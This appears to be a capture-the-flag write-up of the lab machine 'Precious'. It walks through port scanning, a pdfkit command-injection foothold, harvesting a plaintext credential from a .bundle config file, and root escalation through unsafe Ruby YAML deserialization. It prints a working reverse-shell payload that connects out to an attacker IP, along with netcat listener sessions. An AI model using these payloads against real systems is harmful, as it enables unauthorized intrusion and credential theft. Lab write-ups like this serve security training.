Precious
Reconnaissance
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -PN -sC -sV -oN precious 10.10.11.189
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 13:58 PKT
Nmap scan report for 10.10.11.189
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.86 seconds
On port 80, we see that the web server is running nginx. The server redirects us to http://precious.htb/. Let’s add this to our /etc/hosts file:
Web Enumeration
We are greeted by a page allowing us to convert web page to pdf.
We will intercept the request using Burp Suite to see how the pdf is being generated. But first let’s fingerprint the web server.
Fingerprinting
1
2
3
whatweb 10.10.11.189
http://10.10.11.189 [302 Found] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.189], RedirectLocation[http://precious.htb/], Title[302 Found], nginx[1.18.0]
http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]
We require a website to convert to pdf. Usually the boxes aren’t configured to allow external requests, so we will use a local web server. Let’s set up a simple HTTP server using Python:
1
python3 -m http.server 80
We can see that wkhtmltopdf 0.12.6 is being used to convert the web page to pdf.
It is vulnerable to SSRF.
Also on further inspecting the response during PDF generation we discovered that it is generated using /Creator (Generated by pdfkit v0.8.6). Which is also vulnerable. It is vulnerable to command injection.
Foothold
SSRF
wkhtmlTOpdf 0.12.6 is vulnerable to SSRF which allows an attacker to get initial access into the target’s system by injecting iframe tag with initial asset IP address on it’s source. This allows the attacker to takeover the whole infrastructure by accessing their internal assets.
Command Injection
We will go with this route.
If we try to pass
1
http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.30",1234))'`
as the URL. The server will actually process it and you will get a reverse shell.
Reverse Shell as Ruby
1
2
3
4
5
6
7
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.189] 54354
whoami
ruby
python3 -c "import pty;pty.spawn('/bin/bash');"
ruby@precious:/var/www/pdfapp$
We found the creds for henry under ruby’s home directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ruby@precious:/var/www$ ls -la /home/ruby/
total 28
drwxr-xr-x 4 ruby ruby 4096 Aug 13 04:39 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root 9 Oct 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 Aug 13 04:39 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:/var/www$ cd ~
ruby@precious:~$ ls -la .bundle/
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .
drwxr-xr-x 4 ruby ruby 4096 Aug 13 04:39 ..
-r-xr-xr-x 1 root ruby 62 Sep 26 2022 config
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Privilege Escalation
Henry
We simply SSH as henry. We are allowed to do the following with sudo:
1
2
3
4
5
6
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
We can run ruby as sudo on the script /opt/update_dependencies.rb. Let’s check it out.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
henry@precious:/opt$ cat sample/dependencies.yml
yaml: 0.1.1
pdfkit: 0.8.6
The script compares the installed gems with the ones specified in dependencies.yml. But neither of the scripts are writeable.
update_dependencies.rb, calls YAML.load on a dependencies.yml file from the current working directory without validation. YAML.load in Ruby will deserialize arbitrary objects, and if those objects belong to classes with methods that run system commands, the commands execute during or right after deserialization.
1
2
3
4
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.189] 50084
root@precious:

